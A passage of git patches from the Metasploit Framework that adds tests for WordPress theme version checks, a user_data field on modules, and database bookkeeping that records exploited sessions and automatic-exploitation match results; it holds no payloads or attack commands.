be(Msf::Exploit::CheckCode::Appears) } + end + end + + describe '#check_theme_version_from_style' do + before :each do + allow(subject).to receive(:send_request_cgi) do |opts| + res = Rex::Proto::Http::Response.new + res.code = wp_code + res.body = wp_body + res + end + end + + let(:wp_code) { 200 } + let(:wp_body) { nil } + let(:wp_fixed_version) { nil } + + context 'when no style is found' do + let(:wp_code) { 404 } + it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Unknown) } + end + + context 'when no version can be extracted from style' do + let(:wp_code) { 200 } + let(:wp_body) { 'invalid content' } + it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Detected) } + end + + context 'when version from style has arbitrary leading whitespace' do + let(:wp_code) { 200 } + let(:wp_fixed_version) { '1.0.1' } + let(:wp_body) { 'Version: 1.0.0' } + it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) } + let(:wp_body) { 'Version:1.0.0' } + it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) } + end + + context 'when installed version is vulnerable' do + let(:wp_code) { 200 } + let(:wp_fixed_version) { '1.0.1' } + let(:wp_body) { 'Version: 1.0.0' } + it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) } + end + + context 'when installed version is not vulnerable' do + let(:wp_code) { 200 } + let(:wp_fixed_version) { '1.0.1' } + let(:wp_body) { 'Version: 1.0.2' } + it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) } + end + + context 'when installed version is vulnerable (version range)' do + let(:wp_code) { 200 } + let(:wp_fixed_version) { '1.0.2' } + let(:wp_introd_version) { '1.0.0' } + let(:wp_body) { 'Version: 1.0.1' } + it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Appears) } + end + + context 'when installed version is older (version range)' do + let(:wp_code) { 200 } + let(:wp_fixed_version) { '1.0.1' } + let(:wp_introd_version) { '1.0.0' } + let(:wp_body) { 'Version: 0.0.9' } + it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) } + end + + context 'when installed version is newer (version range)' do + let(:wp_code) { 200 } + let(:wp_fixed_version) { '1.0.1' } + let(:wp_introd_version) { '1.0.0' } + let(:wp_body) { 'Version: 1.0.2' } + it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version, wp_introd_version)).to be(Msf::Exploit::CheckCode::Safe) } + end + + context 'when installed version is newer (text in version number)' do + let(:wp_code) { 200 } + let(:wp_fixed_version) { '1.5.3' } + let(:wp_body) { 'Version: 2.0.0-beta1' } + it { expect(subject.send(:check_theme_version_from_style, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Safe) } + end + + context 'when all versions are vulnerable' do + let(:wp_code) { 200 } + let(:wp_body) { 'Version: 1.0.0' } + it { expect(subject.send(:check_theme_version_from_style, 'name')).to be(Msf::Exploit::CheckCode::Appears) } + end end end From 8adc4646f8ce6d5529951ea579c684b10b797c96 Mon Sep 17 00:00:00 2001 From: James Lee Date: Fri, 6 Mar 2015 14:23:06 -0600 Subject: [PATCH 027/279] Add :user_data to Msf::Module --- lib/msf/core/module.rb | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index e9e7365028..165311affc 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -295,6 +295,7 @@ class Module # The array of zero or more platforms. # attr_reader :platform + # # The reference count for the module. # @@ -315,6 +316,13 @@ class Module # attr_accessor :error + # An opaque bag of data to attach to a module. This is useful for attaching + # some piece of identifying info on to a module before calling + # {Msf::Simple::Exploit#exploit_simple} or + # {Msf::Simple::Auxiliary#run_simple} for correlating where modules came + # from. + attr_accessor :user_data + protected # From 6baff47e98ce6f9d51f1ee1b0d5a4656c389d344 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 9 Mar 2015 00:19:57 -0500 Subject: [PATCH 028/279] Refactor inference into its own method --- lib/msf/core/db_manager/session.rb | 103 ++++++++++++++++------------- 1 file changed, 57 insertions(+), 46 deletions(-) diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index 56b4a0a436..1be867268c 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -152,54 +152,65 @@ module Msf::DBManager::Session # If this is a live session, we know the host is vulnerable to something. if opts[:session] and session.via_exploit - mod = framework.modules.create(session.via_exploit) - - if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] - mod_fullname = sess_data[:datastore]['ParentModule'] - mod_name = ::Mdm::Module::Detail.find_by_fullname(mod_fullname).name - else - mod_name = mod.name - mod_fullname = mod.fullname - end - - vuln_info = { - :host => host.address, - :name => mod_name, - :refs => mod.references, - :workspace => wspace, - :exploited_at => Time.now.utc, - :info => "Exploited by #{mod_fullname} to create Session #{s.id}" - } - - port = session.exploit_datastore["RPORT"] - service = (port ? host.services.find_by_port(port.to_i) : nil) - - vuln_info[:service] = service if service - - vuln = framework.db.report_vuln(vuln_info) - - if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] - via_exploit = sess_data[:datastore]['ParentModule'] - else - via_exploit = session.via_exploit - end - attempt_info = { - :timestamp => Time.now.utc, - :workspace => wspace, - :module => via_exploit, - :username => session.username, - :refs => mod.references, - :session_id => s.id, - :host => host, - :service => service, - :vuln => vuln - } - - framework.db.report_exploit_success(attempt_info) - + infer_vuln_from_session(session, wspace) end s } end -end \ No newline at end of file + + protected + + # @param [Msf::Session] + def infer_vuln_from_session(session, wspace) + s = session.db_record + host = session.db_record.host + + mod = framework.modules.create(session.via_exploit) + + if session.via_exploit == "exploit/multi/handler" and session.exploit_datastore['ParentModule'] + mod_fullname = session.exploit_datastore['ParentModule'] + mod_name = ::Mdm::Module::Detail.find_by_fullname(mod_fullname).name + else + mod_name = mod.name + mod_fullname = mod.fullname + end + + vuln_info = { + :host => host.address, + :name => mod_name, + :refs => mod.references, + :workspace => wspace, + :exploited_at => Time.now.utc, + :info => "Exploited by #{mod_fullname} to create Session #{s.id}" + } + + port = session.exploit_datastore["RPORT"] + service = (port ? host.services.find_by_port(port.to_i) : nil) + + vuln_info[:service] = service if service + + vuln = framework.db.report_vuln(vuln_info) + + if session.via_exploit == "exploit/multi/handler" and session.exploit_datastore['ParentModule'] + via_exploit = session.exploit_datastore['ParentModule'] + else + via_exploit = session.via_exploit + end + attempt_info = { + :timestamp => Time.now.utc, + :workspace => wspace, + :module => via_exploit, + :username => session.username, + :refs => mod.references, + :session_id => s.id, + :host => host, + :service => service, + :vuln => vuln + } + + framework.db.report_exploit_success(attempt_info) + + end + +end From d771f54e354bc43cace67a1fe130c46617ff51e0 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 9 Mar 2015 00:21:10 -0500 Subject: [PATCH 029/279] Axe unused var --- lib/msf/core/db_manager/session.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index 1be867268c..ba7cc5caf1 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -121,7 +121,6 @@ module Msf::DBManager::Session else raise ArgumentError.new("Missing option :session or :host") end - ret = {} # Truncate the session data if necessary if sess_data[:desc] From b37a975108577307c5ee7a49b8532ec2e85c074b Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 9 Mar 2015 01:28:27 -0500 Subject: [PATCH 030/279] Use metasploit_data_models staging branch --- Gemfile | 2 ++ Gemfile.lock | 25 ++++++++++++------- lib/msf/core/db_manager/exploit_attempt.rb | 2 +- lib/msf/core/db_manager/session.rb | 11 +++++--- .../shared/examples/msf/db_manager/session.rb | 5 +++- 5 files changed, 30 insertions(+), 15 deletions(-) diff --git a/Gemfile b/Gemfile index 2ce6643e21..cfac5059f9 100755 --- a/Gemfile +++ b/Gemfile @@ -3,6 +3,8 @@ source 'https://rubygems.org' # spec.add_runtime_dependency '', [] gemspec name: 'metasploit-framework' +gem 'metasploit_data_models', git: 'https://github.com/rapid7/metasploit_data_models.git', branch: 'staging/automatic-exploitation-migration' + # separate from test as simplecov is not run on travis-ci group :coverage do # code coverage for tests diff --git a/Gemfile.lock b/Gemfile.lock index a335d045dd..0660af2428 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,3 +1,18 @@ +GIT + remote: https://github.com/rapid7/metasploit_data_models.git + revision: c0eee7f21b9360138900e0156a7b55625dc42c18 + branch: staging/automatic-exploitation-migration + specs: + metasploit_data_models (0.23.2.pre.automatic.pre.exploitation.pre.migration) + activerecord (>= 3.2.13, < 4.0.0) + activesupport + arel-helpers + metasploit-concern (~> 0.3.0) + metasploit-model (~> 0.29.0) + pg + railties (< 4.0.0) + recog (~> 1.0) + PATH remote: . specs: @@ -123,15 +138,6 @@ GEM metasploit-model (0.29.0) activesupport railties (< 4.0.0) - metasploit_data_models (0.23.0) - activerecord (>= 3.2.13, < 4.0.0) - activesupport - arel-helpers - metasploit-concern (~> 0.3.0) - metasploit-model (~> 0.29.0) - pg - railties (< 4.0.0) - recog (~> 1.0) meterpreter_bins (0.0.14) method_source (0.8.2) mime-types (1.25.1) @@ -236,6 +242,7 @@ DEPENDENCIES metasploit-framework! metasploit-framework-db! metasploit-framework-pcap! + metasploit_data_models! pry rake (>= 10.0.0) redcarpet diff --git a/lib/msf/core/db_manager/exploit_attempt.rb b/lib/msf/core/db_manager/exploit_attempt.rb index 9f864ec296..dd2cb95000 100644 --- a/lib/msf/core/db_manager/exploit_attempt.rb +++ b/lib/msf/core/db_manager/exploit_attempt.rb @@ -209,4 +209,4 @@ module Msf::DBManager::ExploitAttempt host.exploit_attempts.create(attempt_info) } end -end \ No newline at end of file +end diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index ba7cc5caf1..1aff4aa8c7 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -144,13 +144,14 @@ module Msf::DBManager::Session end end - if opts[:session] session.db_record = s end - # If this is a live session, we know the host is vulnerable to something. - if opts[:session] and session.via_exploit + if opts[:session] && session.assoc_exploit.user_data.kind_of?(MetasploitDataModels::AutomaticExploitation::Match) + # do some shit with the match + elsif opts[:session] and session.via_exploit + # This is a live session, we know the host is vulnerable to something. infer_vuln_from_session(session, wspace) end @@ -160,7 +161,9 @@ module Msf::DBManager::Session protected - # @param [Msf::Session] + # @param session [Msf::Session] + # @param wspace [Msf::Session] + # @return [void] def infer_vuln_from_session(session, wspace) s = session.db_record host = session.db_record.host diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index 36b86fd84f..a130596c93 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -41,6 +41,7 @@ shared_examples_for 'Msf::DBManager::Session' do double( 'Msf::Module', + :user_data => nil, :fullname => "exploit/#{name}", :framework => framework, :name => name @@ -65,6 +66,7 @@ shared_examples_for 'Msf::DBManager::Session' do let(:session) do session_class.new.tap do |session| + session.assoc_exploit = module_instance session.exploit_datastore = exploit_datastore session.info = 'Info' session.platform = 'Platform' @@ -81,6 +83,7 @@ shared_examples_for 'Msf::DBManager::Session' do Class.new do include Msf::Session + attr_accessor :assoc_exploit attr_accessor :datastore attr_accessor :platform attr_accessor :type @@ -641,4 +644,4 @@ shared_examples_for 'Msf::DBManager::Session' do end end end -end \ No newline at end of file +end From 9195479a6d89a66da024861c53021bdd174bae35 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 9 Mar 2015 08:56:52 -0500 Subject: [PATCH 031/279] Add a context for without user_data --- spec/support/shared/examples/msf/db_manager/session.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index a130596c93..1d3097bc03 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -120,6 +120,8 @@ shared_examples_for 'Msf::DBManager::Session' do ) end + context 'without user_data' do + context 'with :workspace' do before(:each) do options[:workspace] = options_workspace @@ -463,6 +465,7 @@ shared_examples_for 'Msf::DBManager::Session' do end end end + end end context 'without Msf::Session' do From ff91953f92764081d51ec28ff524a7276dda3b54 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 9 Mar 2015 08:58:25 -0500 Subject: [PATCH 032/279] Whitespace --- .../shared/examples/msf/db_manager/session.rb | 552 +++++++++--------- 1 file changed, 276 insertions(+), 276 deletions(-) diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index 1d3097bc03..9f2cefa84d 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -122,153 +122,318 @@ shared_examples_for 'Msf::DBManager::Session' do context 'without user_data' do - context 'with :workspace' do - before(:each) do - options[:workspace] = options_workspace - end - - it 'should not find workspace from session' do - db_manager.should_not_receive(:find_workspace) - - report_session - end - end - - context 'without :workspace' do - it 'should find workspace from session' do - db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original - - report_session - end - - it 'should pass session.workspace to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( - hash_including( - :workspace => session_workspace - ) - ).and_return(host) - - report_session - end - end - - context 'with workspace from either :workspace or session' do - it 'should pass normalized host from session as :host to #find_or_create_host' do - normalized_host = double('Normalized Host') - db_manager.stub(:normalize_host).with(session).and_return(normalized_host) - # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. - db_manager.stub(:report_vuln) - - db_manager.should_receive(:find_or_create_host).with( - hash_including( - :host => normalized_host - ) - ).and_return(host) - - report_session - end - - context 'with session responds to arch' do - let(:arch) do - FactoryGirl.generate :mdm_host_arch - end - + context 'with :workspace' do before(:each) do - session.stub(:arch => arch) + options[:workspace] = options_workspace end - it 'should pass :arch to #find_or_create_host' do + it 'should not find workspace from session' do + db_manager.should_not_receive(:find_workspace) + + report_session + end + end + + context 'without :workspace' do + it 'should find workspace from session' do + db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original + + report_session + end + + it 'should pass session.workspace to #find_or_create_host' do db_manager.should_receive(:find_or_create_host).with( hash_including( - :arch => arch + :workspace => session_workspace ) - ).and_call_original + ).and_return(host) report_session end end - context 'without session responds to arch' do - it 'should not pass :arch to #find_or_create_host' do + context 'with workspace from either :workspace or session' do + it 'should pass normalized host from session as :host to #find_or_create_host' do + normalized_host = double('Normalized Host') + db_manager.stub(:normalize_host).with(session).and_return(normalized_host) + # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. + db_manager.stub(:report_vuln) + db_manager.should_receive(:find_or_create_host).with( - hash_excluding( - :arch + hash_including( + :host => normalized_host ) - ).and_call_original - - report_session - end - end - - it 'should create an Mdm::Session' do - expect { - report_session - }.to change(Mdm::Session, :count).by(1) - end - - it { should be_an Mdm::Session } - - it 'should set session.db_record to created Mdm::Session' do - mdm_session = report_session - - session.db_record.should == mdm_session - end - - context 'with session.via_exploit' do - it 'should create session.via_exploit module' do - framework.modules.should_receive(:create).with(session.via_exploit).and_call_original + ).and_return(host) report_session end - it 'should create Mdm::Vuln' do - expect { - report_session - }.to change(Mdm::Vuln, :count).by(1) - end - - context 'created Mdm::Vuln' do - let(:mdm_session) do - Mdm::Session.last - end - - let(:rport) do - nil + context 'with session responds to arch' do + let(:arch) do + FactoryGirl.generate :mdm_host_arch end before(:each) do - Timecop.freeze + session.stub(:arch => arch) + end - session.exploit_datastore['RPORT'] = rport + it 'should pass :arch to #find_or_create_host' do + db_manager.should_receive(:find_or_create_host).with( + hash_including( + :arch => arch + ) + ).and_call_original report_session end + end + + context 'without session responds to arch' do + it 'should not pass :arch to #find_or_create_host' do + db_manager.should_receive(:find_or_create_host).with( + hash_excluding( + :arch + ) + ).and_call_original + + report_session + end + end + + it 'should create an Mdm::Session' do + expect { + report_session + }.to change(Mdm::Session, :count).by(1) + end + + it { should be_an Mdm::Session } + + it 'should set session.db_record to created Mdm::Session' do + mdm_session = report_session + + session.db_record.should == mdm_session + end + + context 'with session.via_exploit' do + it 'should create session.via_exploit module' do + framework.modules.should_receive(:create).with(session.via_exploit).and_call_original + + report_session + end + + it 'should create Mdm::Vuln' do + expect { + report_session + }.to change(Mdm::Vuln, :count).by(1) + end + + context 'created Mdm::Vuln' do + let(:mdm_session) do + Mdm::Session.last + end + + let(:rport) do + nil + end + + before(:each) do + Timecop.freeze + + session.exploit_datastore['RPORT'] = rport + + report_session + end + + after(:each) do + Timecop.return + end + + subject(:vuln) do + Mdm::Vuln.last + end + + it { expect(subject.host).to eq(Mdm::Host.last) } + it { expect(subject.refs).to eq([]) } + it { expect(subject.exploited_at).to be_within(1.second).of(Time.now.utc) } + + context "with session.via_exploit 'exploit/multi/handler'" do + context "with session.exploit_datastore['ParentModule']" do + it { expect(subject.info).to eq("Exploited by #{parent_module_fullname} to create Session #{mdm_session.id}") } + it { expect(subject.name).to eq(parent_module_name) } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + let(:reference_name) do + 'windows/smb/ms08_067_netapi' + end + + before(:each) do + path = File.join( + parent_path, + 'exploits', + "#{reference_name}.rb" + ) + type = 'exploit' + + # fake cache data for ParentModule so it can be loaded + framework.modules.send( + :module_info_by_path=, + { + path => + { + :parent_path => parent_path, + :reference_name => reference_name, + :type => type, + } + } + ) + + session.via_exploit = "#{type}/#{reference_name}" + end + + it { expect(subject.info).to eq("Exploited by #{session.via_exploit} to create Session #{mdm_session.id}") } + it { expect(subject.name).to eq(reference_name) } + end + + context 'with RPORT' do + let(:rport) do + # use service.port instead of having service use rport so + # that service is forced to exist before call to + # report_service, which happens right after using rport in + # outer context's before(:each) + service.port + end + + let(:service) do + FactoryGirl.create( + :mdm_service, + :host => host + ) + end + + it { expect(subject.service).to eq(service) } + end + + context 'without RPORT' do + it { expect(subject.service).to be_nil } + end + end + + context 'created Mdm::ExploitAttempt' do + let(:rport) do + nil + end + + before(:each) do + Timecop.freeze + + session.exploit_datastore['RPORT'] = rport + + report_session + end + + after(:each) do + Timecop.return + end + + subject(:exploit_attempt) do + Mdm::ExploitAttempt.last + end + + it { expect(subject.attempted_at).to be_within(1.second).of(Time.now.utc) } + # @todo https://www.pivotaltracker.com/story/show/48362615 + it { expect(subject.session_id).to eq(Mdm::Session.last.id) } + it { expect(subject.exploited).to be_truthy } + # @todo https://www.pivotaltracker.com/story/show/48362615 + it { expect(subject.vuln_id).to eq(Mdm::Vuln.last.id) } + + context "with session.via_exploit 'exploit/multi/handler'" do + context "with session.datastore['ParentModule']" do + it { expect(subject.module).to eq(parent_module_fullname) } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + before(:each) do + session.via_exploit = parent_module_fullname + end + + it { expect(subject.module).to eq(session.via_exploit) } + end + end + end + + context 'returned Mdm::Session' do + before(:each) do + Timecop.freeze + end after(:each) do Timecop.return end - subject(:vuln) do - Mdm::Vuln.last + subject(:mdm_session) do + report_session end - it { expect(subject.host).to eq(Mdm::Host.last) } - it { expect(subject.refs).to eq([]) } - it { expect(subject.exploited_at).to be_within(1.second).of(Time.now.utc) } + # + # Ensure session has attributes present so its on mdm_session are + # not just comparing nils. + # + + it 'should have session.info present' do + session.info.should be_present + end + + it 'should have session.sid present' do + session.sid.should be_present + end + + it 'should have session.platform present' do + session.platform.should be_present + end + + it 'should have session.type present' do + session.type.should be_present + end + + it 'should have session.via_exploit present' do + session.via_exploit.should be_present + end + + it 'should have session.via_payload present' do + session.via_exploit.should be_present + end + + it { expect(subject.datastore).to eq(session.exploit_datastore.to_h) } + it { expect(subject.desc).to eq(session.info) } + it { expect(subject.host_id).to eq(Mdm::Host.last.id) } + it { expect(subject.last_seen).to be_within(1.second).of(Time.now.utc) } + it { expect(subject.local_id).to eq(session.sid) } + it { expect(subject.opened_at).to be_within(1.second).of(Time.now.utc) } + it { expect(subject.platform).to eq(session.platform) } + it { expect(subject.routes).to eq([]) } + it { expect(subject.stype).to eq(session.type) } + it { expect(subject.via_payload).to eq(session.via_payload) } context "with session.via_exploit 'exploit/multi/handler'" do + it "should have session.via_exploit of 'exploit/multi/handler'" do + session.via_exploit.should == 'exploit/multi/handler' + end + context "with session.exploit_datastore['ParentModule']" do - it { expect(subject.info).to eq("Exploited by #{parent_module_fullname} to create Session #{mdm_session.id}") } - it { expect(subject.name).to eq(parent_module_name) } + it "should have session.exploit_datastore['ParentModule']" do + session.exploit_datastore['ParentModule'].should_not be_nil + end + + it { expect(subject.via_exploit).to eq(parent_module_fullname) } end end context "without session.via_exploit 'exploit/multi/handler'" do - let(:reference_name) do - 'windows/smb/ms08_067_netapi' - end - before(:each) do + reference_name = 'windows/smb/ms08_067_netapi' path = File.join( parent_path, 'exploits', @@ -292,179 +457,14 @@ shared_examples_for 'Msf::DBManager::Session' do session.via_exploit = "#{type}/#{reference_name}" end - it { expect(subject.info).to eq("Exploited by #{session.via_exploit} to create Session #{mdm_session.id}") } - it { expect(subject.name).to eq(reference_name) } - end - - context 'with RPORT' do - let(:rport) do - # use service.port instead of having service use rport so - # that service is forced to exist before call to - # report_service, which happens right after using rport in - # outer context's before(:each) - service.port + it "should not have session.via_exploit of 'exploit/multi/handler'" do + session.via_exploit.should_not == 'exploit/multi/handler' end - let(:service) do - FactoryGirl.create( - :mdm_service, - :host => host - ) - end - - it { expect(subject.service).to eq(service) } - end - - context 'without RPORT' do - it { expect(subject.service).to be_nil } - end - end - - context 'created Mdm::ExploitAttempt' do - let(:rport) do - nil - end - - before(:each) do - Timecop.freeze - - session.exploit_datastore['RPORT'] = rport - - report_session - end - - after(:each) do - Timecop.return - end - - subject(:exploit_attempt) do - Mdm::ExploitAttempt.last - end - - it { expect(subject.attempted_at).to be_within(1.second).of(Time.now.utc) } - # @todo https://www.pivotaltracker.com/story/show/48362615 - it { expect(subject.session_id).to eq(Mdm::Session.last.id) } - it { expect(subject.exploited).to be_truthy } - # @todo https://www.pivotaltracker.com/story/show/48362615 - it { expect(subject.vuln_id).to eq(Mdm::Vuln.last.id) } - - context "with session.via_exploit 'exploit/multi/handler'" do - context "with session.datastore['ParentModule']" do - it { expect(subject.module).to eq(parent_module_fullname) } - end - end - - context "without session.via_exploit 'exploit/multi/handler'" do - before(:each) do - session.via_exploit = parent_module_fullname - end - - it { expect(subject.module).to eq(session.via_exploit) } + it { expect(subject.via_exploit).to eq(session.via_exploit) } end end end - - context 'returned Mdm::Session' do - before(:each) do - Timecop.freeze - end - - after(:each) do - Timecop.return - end - - subject(:mdm_session) do - report_session - end - - # - # Ensure session has attributes present so its on mdm_session are - # not just comparing nils. - # - - it 'should have session.info present' do - session.info.should be_present - end - - it 'should have session.sid present' do - session.sid.should be_present - end - - it 'should have session.platform present' do - session.platform.should be_present - end - - it 'should have session.type present' do - session.type.should be_present - end - - it 'should have session.via_exploit present' do - session.via_exploit.should be_present - end - - it 'should have session.via_payload present' do - session.via_exploit.should be_present - end - - it { expect(subject.datastore).to eq(session.exploit_datastore.to_h) } - it { expect(subject.desc).to eq(session.info) } - it { expect(subject.host_id).to eq(Mdm::Host.last.id) } - it { expect(subject.last_seen).to be_within(1.second).of(Time.now.utc) } - it { expect(subject.local_id).to eq(session.sid) } - it { expect(subject.opened_at).to be_within(1.second).of(Time.now.utc) } - it { expect(subject.platform).to eq(session.platform) } - it { expect(subject.routes).to eq([]) } - it { expect(subject.stype).to eq(session.type) } - it { expect(subject.via_payload).to eq(session.via_payload) } - - context "with session.via_exploit 'exploit/multi/handler'" do - it "should have session.via_exploit of 'exploit/multi/handler'" do - session.via_exploit.should == 'exploit/multi/handler' - end - - context "with session.exploit_datastore['ParentModule']" do - it "should have session.exploit_datastore['ParentModule']" do - session.exploit_datastore['ParentModule'].should_not be_nil - end - - it { expect(subject.via_exploit).to eq(parent_module_fullname) } - end - end - - context "without session.via_exploit 'exploit/multi/handler'" do - before(:each) do - reference_name = 'windows/smb/ms08_067_netapi' - path = File.join( - parent_path, - 'exploits', - "#{reference_name}.rb" - ) - type = 'exploit' - - # fake cache data for ParentModule so it can be loaded - framework.modules.send( - :module_info_by_path=, - { - path => - { - :parent_path => parent_path, - :reference_name => reference_name, - :type => type, - } - } - ) - - session.via_exploit = "#{type}/#{reference_name}" - end - - it "should not have session.via_exploit of 'exploit/multi/handler'" do - session.via_exploit.should_not == 'exploit/multi/handler' - end - - it { expect(subject.via_exploit).to eq(session.via_exploit) } - end - end - end end end From 838746b02144b905703f7df1a006e79c9adbef05 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 9 Mar 2015 15:35:53 -0500 Subject: [PATCH 033/279] Add user_data_is_match? method --- lib/msf/core/module.rb | 8 ++++++++ spec/lib/msf/core/module_spec.rb | 11 +++++++++++ 2 files changed, 19 insertions(+) diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index 165311affc..4b6f946294 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -278,6 +278,14 @@ class Module raise RuntimeError, "#{reason.to_s}: #{msg}" end + # Whether {user_data} contains everything necessary to make a + # `MetasploitDataModels::AutomaticExploitation::MatchResult` + # + # @return [bool] + def user_data_is_match? + user_data.kind_of?(Hash) && user_data.keys == [ :match, :match_set, :run ] + end + ## # # Just some handy quick checks diff --git a/spec/lib/msf/core/module_spec.rb b/spec/lib/msf/core/module_spec.rb index 35b83bc7b1..6666933e45 100644 --- a/spec/lib/msf/core/module_spec.rb +++ b/spec/lib/msf/core/module_spec.rb @@ -46,6 +46,17 @@ describe Msf::Module do it { is_expected.to respond_to :is_usable } end + describe '#user_data_is_match?' do + subject(:msf_module) { + msf_module = described_class.new + msf_module.user_data = { match: 'match', match_set: 'match_set', run: 'run' } + msf_module + } + specify do + expect(msf_module.user_data_is_match?).to eq(true) + end + end + describe "cloning modules into replicants" do module MsfExtensionTestFoo; def my_test1; true; end; end; module MsfExtensionTestBar; def my_test2; true; end; end; From cb41154712e78a8865ac14127c0ae89a2ecf4f46 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 10 Mar 2015 15:17:57 -0500 Subject: [PATCH 034/279] Make a MatchResult when sessions are reported --- Gemfile | 2 +- Gemfile.lock | 6 ++-- lib/msf/core/db_manager/session.rb | 23 +++++++----- .../msf/db_manager/exploit_attempt.rb | 35 ++++++++++++++++++- .../shared/examples/msf/db_manager/session.rb | 27 ++++++++++++-- 5 files changed, 76 insertions(+), 17 deletions(-) diff --git a/Gemfile b/Gemfile index cfac5059f9..81b4bdd059 100755 --- a/Gemfile +++ b/Gemfile @@ -3,7 +3,7 @@ source 'https://rubygems.org' # spec.add_runtime_dependency '', [] gemspec name: 'metasploit-framework' -gem 'metasploit_data_models', git: 'https://github.com/rapid7/metasploit_data_models.git', branch: 'staging/automatic-exploitation-migration' +gem 'metasploit_data_models', git: 'https://github.com/rapid7/metasploit_data_models.git', branch: 'feature/MSP-11925/move-automatic-expoitation-factories' # separate from test as simplecov is not run on travis-ci group :coverage do diff --git a/Gemfile.lock b/Gemfile.lock index 0660af2428..9c57bd8798 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,9 +1,9 @@ GIT remote: https://github.com/rapid7/metasploit_data_models.git - revision: c0eee7f21b9360138900e0156a7b55625dc42c18 - branch: staging/automatic-exploitation-migration + revision: a077ac0b6e5d939da9e1b8f017bd3780aac07ef9 + branch: feature/MSP-11925/move-automatic-expoitation-factories specs: - metasploit_data_models (0.23.2.pre.automatic.pre.exploitation.pre.migration) + metasploit_data_models (0.23.2.pre.move.pre.automatic.pre.expoitation.pre.factories) activerecord (>= 3.2.13, < 4.0.0) activesupport arel-helpers diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index 1aff4aa8c7..3460465d73 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -146,13 +146,18 @@ module Msf::DBManager::Session if opts[:session] session.db_record = s - end - - if opts[:session] && session.assoc_exploit.user_data.kind_of?(MetasploitDataModels::AutomaticExploitation::Match) - # do some shit with the match - elsif opts[:session] and session.via_exploit - # This is a live session, we know the host is vulnerable to something. - infer_vuln_from_session(session, wspace) + if session.assoc_exploit.user_data_is_match? + # do some shit with the match + MetasploitDataModels::AutomaticExploitation::MatchResult.create!( + match: session.assoc_exploit.user_data[:match], + match_set: session.assoc_exploit.user_data[:match_set], + run: session.assoc_exploit.user_data[:run], + state: 'succeeded', + ) + elsif session.via_exploit + # This is a live session, we know the host is vulnerable to something. + infer_vuln_from_session(session, wspace) + end end s @@ -161,8 +166,8 @@ module Msf::DBManager::Session protected - # @param session [Msf::Session] - # @param wspace [Msf::Session] + # @param session [Msf::Session] A session with a {db_record Msf::Session#db_record} + # @param wspace [Mdm::Workspace] # @return [void] def infer_vuln_from_session(session, wspace) s = session.db_record diff --git a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb index 28eeeaacf8..10c82b2705 100644 --- a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb +++ b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb @@ -3,4 +3,37 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do it { 